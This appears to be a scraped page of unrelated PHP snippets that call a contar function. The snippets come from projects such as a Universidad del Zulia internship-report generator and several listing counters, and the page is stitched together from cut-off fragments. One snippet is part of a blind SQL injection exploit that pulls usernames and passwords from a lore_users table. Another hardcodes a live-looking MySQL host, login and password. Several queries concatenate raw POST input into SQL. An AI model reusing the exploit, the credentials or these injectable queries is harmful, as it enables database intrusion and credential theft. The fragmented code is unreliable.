function graficarPDF()
 {
     $solo_registrados = contar("SELECT COUNT(*) FROM pasantia INNER JOIN periodo ON periodo.id = pasantia.periodo_id WHERE pasantia.m01_registrada IS NOT NULL AND pasantia.m02_aceptada IS NULL AND periodo.activo = TRUE");
     $solo_aceptadas = contar("SELECT COUNT(*) FROM pasantia INNER JOIN periodo ON periodo.id = pasantia.periodo_id WHERE pasantia.m02_aceptada IS NOT NULL AND pasantia.m03_numero_asignado IS NULL AND periodo.activo = TRUE");
     $solo_numero_asignado = contar("SELECT COUNT(*) FROM pasantia INNER JOIN periodo ON periodo.id = pasantia.periodo_id WHERE pasantia.m03_numero_asignado IS NOT NULL AND pasantia.m04_sellada IS NULL AND periodo.activo = TRUE");
     $solo_sellada = contar("SELECT COUNT(*) FROM pasantia INNER JOIN periodo ON periodo.id = pasantia.periodo_id WHERE pasantia.m04_sellada IS NOT NULL AND pasantia.m05_entrego_copia IS NULL AND periodo.activo = TRUE");
     $solo_entrego_copia = contar("SELECT COUNT(*) FROM pasantia INNER JOIN periodo ON periodo.id = pasantia.periodo_id WHERE pasantia.m05_entrego_copia IS NOT NULL AND pasantia.m06_entrego_borrador IS NULL AND periodo.activo = TRUE");
     $solo_entrego_borrador = contar("SELECT COUNT(*) FROM pasantia INNER JOIN periodo ON periodo.id = pasantia.periodo_id WHERE pasantia.m06_entrego_borrador IS NOT NULL AND pasantia.m07_retiro_borrador IS NULL AND periodo.activo = TRUE");
     $solo_retiro_borrador = contar("SELECT COUNT(*) FROM pasantia INNER JOIN periodo ON periodo.id = pasantia.periodo_id WHERE pasantia.m07_retiro_borrador IS NOT NULL AND pasantia.m08_entrega_final IS NULL AND periodo.activo = TRUE");
     $finalizaron = contar("SELECT COUNT(*) FROM pasantia INNER JOIN periodo ON periodo.id = pasantia.periodo_id WHERE pasantia.m08_entrega_final IS NOT NULL AND periodo.activo = TRUE");
     $this->MultiCell(200, 5, utf8_decode("\nRepública Bolivariana de Venezuela\nUniversidad del Zulia\nFacultad Experimental de Ciencias\nDivisión de Programas Especiales\nSistema de Pasantías\n\n\n\nEstadísticas de Hitos"), 0, "C", 0);
     //GENERAR LA TABLA
     $this->SetXY(5, 65);
     $this->SetFont('Arial', 'B', 12);
     $this->SetWidths(array(27, 25, 25, 25, 25, 25, 25, 25));
     $this->SetAligns(array('C', 'C', 'C', 'C', 'C', 'C', 'C', 'C', 'C', 'C', 'C'));
     $this->Row(array("Registradas", "Aceptadas", "Numero Asignado", "Selladas", "Entrega Copia", "Entrega Borrador", "Retiro Borrador", "Finalizaron"));
     $this->SetX(5);
     $this->SetFont('Arial', '', 12);
     $this->SetWidths(array(27, 25, 25, 25, 25, 25, 25, 25));
     $this->SetAligns(array('C', 'C', 'C', 'C', 'C', 'C', 'C', 'C'));
     $this->Row(array("{$solo_registrados}", "{$solo_aceptadas}", "{$solo_numero_asignado}", "{$solo_sellada}", "{$solo_entrego_copia}", "{$solo_entrego_borrador}", "{$solo_retiro_borrador}", "{$finalizaron}"));
     $data = array($solo_registrados, $solo_aceptadas, $solo_numero_asignado, $solo_sellada, $solo_entrego_copia, $solo_entrego_borrador, $solo_retiro_borrador, $finalizaron);
     //aqui va la cantidad que llevará cada parte del grafico
     $graph = new PieGraph(640, 480);
     //tamaño de la letra del titulo y la leyenda
     $graph->SetShadow();
     $db = new PgDB();
     //QUERY PARA EL PERIDO ACTIVO
     $queryPer = "SELECT tipo, anio FROM periodo WHERE activo = TRUE";
     $recoPer = pg_query($queryPer);
     $rowPer = pg_fetch_array($recoPer);
     $graph->title->Set(utf8_decode("REPORTE TOTAL\n{$rowPer['tipo']} - {$rowPer['anio']}"));
     $graph->title->SetFont(FF_FONT2, FS_BOLD);
     $p1 = new PiePlot($data);
     $p1->value->Show(true);
     $p1->SetLegends(array("Registradas", "Aceptadas", "Numeros Asignados", "Selladas", "Entrega de Copias", "Entrega de Borrador", "Retiro de Borrador", "Finalizaron"));
     //la leyenda del gráfico
     $p1->SetSize(0.3);
     //el radio del gráfico
     //$p1->SetAngle(45); //setear el angulo
     $graph->Add($p1);
     $graph->Stroke("asd.png");
     $this->Image("asd.png", -15, 85, 240, 180);
     // x, y, ancho, altura.
     $this->Image("logotipo.jpg", 20, 12, -280);
     unlink("asd.png");
 }
function mostrartiposycantidad(){
	global $fechainicio,$fechafin;
	$enlace = mysql_connect('atc-nh-natsdb.nationalnet.com', 'staffcenter','XgwofvLY2ayLf') or die('No pudo conectarse : ' . mysql_error());
	mysql_select_db('staffcenter',$enlace) or die('No pudo seleccionarse la BD.');
	$sql = "SELECT * from types";
	$resultado = mysql_query($sql,$enlace) or die('La consulta falló: ' . mysql_error());

	while ($row = mysql_fetch_array($resultado)){
		$tipos[$row[0]]=$row[1]; // se arma un vector con los datos de la tabla TYPES
	}
	mysql_free_result($resultado);
	
	for($x=1;$x<=count($tipos)+1;$x++){
		if($tipos[$x]){
			$sql2="SELECT COUNT(reportes.id_type) 
			FROM teams JOIN usuario JOIN tipo_instancia JOIN types JOIN reportes JOIN shift 
			WHERE reportes.id_usuario=usuario.id_usuario 
			AND reportes.id_tipo_instancia=tipo_instancia.id_tipo_instancia 
			AND reportes.id_team=teams.id_team 
			AND reportes.id_type=types.id_type 
			AND reportes.id_shift=shift.id_shift 
			AND (reportes.fecha BETWEEN '$fechainicio' AND '$fechafin') 
			AND reportes.id_shift like '".$_POST["shift"]."' 
			AND reportes.id_team like '".$_POST["team"]."' 
			AND reportes.id_usuario like '".$_POST["agent"]."' 
			AND reportes.id_type 
			AND reportes.id_type='$x' 
			";
			$total=contar($sql2,"","");
			$mostrar=$tipos[$x].": ".$total."<br>";
			if ($total!=0){ // para mostrar solo la cantidad de tipos que se encuentran en el reporte
				echo $tipos[$x].": ".$total."<br>\n";
			}
		}
	}
}
Exemplo n.º 3
0
<?php

include '../BD.class.php';
include '../GM_busquedas_motor.class.php';
require_once "../../res/modulos_buscadorAv/modulo_cuenta_motor.php";
BD::conectar();
$marcas = GM_busquedas_motor::obtener_marcas_motor("sincarnet");
$configCuenta = array('categoria' => 224, 'marca' => '');
if (!empty($_POST['precio_desde'])) {
    $configCuenta['precio_desde'] = $_POST['precio_desde'];
}
foreach ($marcas as &$marca) {
    $configCuenta['marca'] = $marca['nombre'];
    $marca['contador'] = count(contar($configCuenta));
}
BD::desconectar();
echo json_encode($marcas);
		$sql="
		SELECT COUNT(id_tipo_instancia) AS total, login AS user FROM reportes JOIN usuario
		WHERE reportes.id_usuario=usuario.id_usuario 
		AND DATE(reportes.fecha)='$fechadehoy'
		AND reportes.id_tipo_instancia='{instancia}'
		AND usuario.login='******'
		GROUP BY id_tipo_instancia DESC";
		
		$ssql=str_replace("{instancia}",2,$sql);
    	$totalcorreos=contar("contar",$ssql,0);
		
		$ssql=str_replace("{instancia}",3,$sql);
    	$totalchats=contar("contar",$ssql,0);
		
		$ssql=str_replace("{instancia}",1,$sql);
    	$totalllamadas=contar("contar",$ssql,0);
		
		$totalxtodos=($totalcorreos+$totalchats+$totalllamadas);
		
		/*
		$sql="
		SELECT COUNT(id_tipo_instancia) AS total, login AS user FROM reportes JOIN usuario
		WHERE reportes.id_usuario=usuario.id_usuario 
		AND DATE(reportes.fecha)='$fechadehoy'
		AND reportes.id_type='1'		
		AND usuario.login='******'
		GROUP BY id_tipo_instancia DESC";
		
		$totalrefound=contar("contar",$sql,0);
		*/
	?>
$reco = pg_query($query);
$row = pg_fetch_array($reco);
*/
//QUERY PARA EL PERIDO ACTIVO
$queryPer = "SELECT tipo, anio FROM periodo WHERE activo = TRUE";
$recoPer = pg_query($queryPer);
$rowPer = pg_fetch_array($recoPer);
$pdf->SetFont('Arial', 'B', 12);
$pdf->MultiCell(0, 5, utf8_decode("\nRepública Bolivariana de Venezuela\nUniversidad del Zulia\nFacultad Experimental de Ciencias\nDivisión de Programas Especiales\nSistema de Pasantías\n"), 0, "C", 0);
$pdf->MultiCell(165, 5, utf8_decode("\n\nReporte General"), 0, "C", 0);
$pdf->MultiCell(165, 5, utf8_decode("\n{$rowPer['tipo']} - {$rowPer['anio']}"), 0, "C", 0);
$pdf->Ln();
$inscritos = contar("SELECT COUNT(*) FROM pasantia INNER JOIN periodo ON periodo.id = pasantia.periodo_id AND periodo.activo = TRUE WHERE pasantia.m01_registrada IS NOT NULL");
$aprobados = contar("SELECT COUNT(*) FROM pasantia INNER JOIN periodo ON periodo.id = pasantia.periodo_id AND periodo.activo = TRUE WHERE pasantia.aprobada = TRUE");
$reprobados = contar("SELECT COUNT(*) FROM pasantia INNER JOIN periodo ON periodo.id = pasantia.periodo_id AND periodo.activo = TRUE WHERE pasantia.aprobada = FALSE");
$pdf->Image("logotipo.jpg", 20, 12, -280);
//GENERAR LA TABLA
$pdf->SetXY(57, 70);
$pdf->SetFont('Arial', 'B', 12);
$pdf->SetWidths(array(30, 30, 30));
$pdf->SetAligns(array('C', 'C', 'C', 'C', 'C', 'C', 'C', 'C', 'C', 'C', 'C'));
$pdf->Row(array("Inscritos", "Aprobados", "Reprobados"));
$pdf->SetX(57);
$pdf->SetFont('Arial', '', 12);
$pdf->SetWidths(array(30, 30, 30));
$pdf->SetAligns(array('C', 'C', 'C'));
$pdf->Row(array("{$inscritos}", "{$aprobados}", "{$reprobados}"));
//GENERAR LA GRAFICA
$graph = new PieGraph(640, 480);
$graph->SetShadow();
Exemplo n.º 6
0
<?php

include '../BD.class.php';
include '../GM_busquedas_motor.class.php';
require_once '../GM_general.class.php';
require_once "../../res/modulos_buscadorAv/modulo_cuenta_motor.php";
BD::conectar();
$tmp = explode('_', $_POST["tipo"]);
$campo_contador = array_shift($tmp);
$IDCategoria = GM_general::obtener_id_categoria($campo_contador);
$paraContar = array('categoria' => $IDCategoria);
$paraContar['marca'] = GM_busquedas_motor::obtener_nombre_marca($_POST['marca']);
if (!empty($_POST["precio_desde"])) {
    $paraContar['precio_desde'] = $_POST["precio_desde"];
}
if (!empty($_POST["anio_desde"])) {
    $paraContar['anio_desde'] = $_POST["anio_desde"];
}
$modelos = array();
$modelos = GM_busquedas_motor::obtener_modelos_motor($paraContar['marca'], $campo_contador);
foreach ($modelos as &$modelo) {
    $paraContar['modelo'] = $modelo['nombre'];
    $listaIDs = contar($paraContar);
    $num = count($listaIDs);
    $modelo["n{$campo_contador}"] = $num;
}
BD::desconectar();
echo json_encode($modelos);
Exemplo n.º 7
0
            $var = "username";
        } elseif ($opt == "-p") {
            $var = "password";
        } else {
            echo "[+] Parametros Incorrectos \n";
            exit;
        }
        echo $var . ":\n";
        $ansi = genera_ansii();
        $query = "select+" . $var . "+from+lore_users+where+id=" . $id;
        $original = contar($url);
        $i = 1;
        for ($x = 0; $x <= count($ansi); $x++) {
            $var = $ansi[$x];
            $urlblind = $url . sql($query . "+limit+0,1", $i) . $var;
            $blind = contar($urlblind);
            if ($blind == $original) {
                $name .= chr($var);
                //system("clear"); //Linux
                echo "  :> " . $name . chr(8);
                $i++;
                $x = -1;
            }
            echo chr($var) . chr(13);
        }
        echo "\nResultado :> " . $name . "\n";
    }
}
?>

# milw0rm.com [2009-01-28]
Exemplo n.º 8
0
<?php

if (!$_POST) {
    exit;
}
require "../BD.class.php";
require "../GM_general.class.php";
if (empty($_POST['categoria']) || $_POST['categoria'] == 'motor') {
    require "../GM_busquedas_motor.class.php";
    require "../../res/modulos_buscadorAv/modulo_cuenta_motor.php";
} else {
    if ($_POST['categoria'] == 'inmobiliaria') {
        require "../../res/modulos_buscadorAv/modulo_cuenta_inmobiliaria.php";
    }
}
unset($_POST['categoria']);
BD::conectar();
$data = array();
$data['categoria'] = GM_general::obtener_id_categoria($_POST['url']);
unset($_POST['url']);
foreach ($_POST as $key => $value) {
    $data[$key] = $value;
}
echo count(contar($data));
BD::desconectar();
Exemplo n.º 9
0
<?php

require_once 'db.php';
$db = new PgDB();
function contar($qry)
{
    $result = $db->query($qry);
    return pg_fetch_row($result, 0)[0];
}
$solo_registrados = contar("SELECT COUNT(*) FROM pasantia WHERE pasantia.m01_registrada IS NOT NULL AND pasantia.m02_aceptada IS NULL");
$solo_aceptadas = contar("SELECT COUNT(*) FROM pasantia WHERE pasantia.m02_aceptada IS NOT NULL AND pasantia.m03_numero_asignado IS NULL");
$solo_numero_asignado = contar("SELECT COUNT(*) FROM pasantia WHERE pasantia.m03_numero_asignado IS NOT NULL AND pasantia.m04_sellada IS NULL");
$solo_sellada = contar("SELECT COUNT(*) FROM pasantia WHERE pasantia.m04_sellada IS NOT NULL AND pasantia.m05_entrego_copia IS NULL");
$solo_entrego_copia = contar("SELECT COUNT(*) FROM pasantia WHERE pasantia.m05_entrego_copia IS NOT NULL AND pasantia.m06_entrego_borrador IS NULL");
$solo_entrego_borrador = contar("SELECT COUNT(*) FROM pasantia WHERE pasantia.m06_entrego_borrador IS NOT NULL AND pasantia.m07_retiro_borrador IS NULL");
$solo_retiro_borrador = contar("SELECT COUNT(*) FROM pasantia WHERE pasantia.m07_retiro_borrador IS NOT NULL AND pasantia.m08_entrega_final IS NULL");
$finalizaron = contar("SELECT COUNT(*) FROM pasantia WHERE pasantia.m08_entrega_final IS NOT NULL");
Exemplo n.º 10
0
<?php

error_reporting(E_ALL);
ini_set('display_errors', 'On');
if (!$_POST) {
    exit;
}
require "../BD.class.php";
require "../GM_general.class.php";
require "../GM_busquedas_motor.class.php";
if (empty($_POST['categoria']) || $_POST['categoria'] == 'motor') {
    require "../../res/modulos_buscadorAv/modulo_cuenta_motor.php";
} else {
    if ($_POST['categoria'] == 'inmobiliaria') {
        require "../../res/modulos_buscadorAv/modulo_cuenta_inmobiliaria.php";
    }
}
$num = array();
$search = json_decode($_POST['search'], true);
//print_r($search);
BD::conectar();
foreach ($search as $item) {
    $num[] = number_format(count(contar($item)), 0, ',', '.');
}
BD::desconectar();
echo json_encode($num);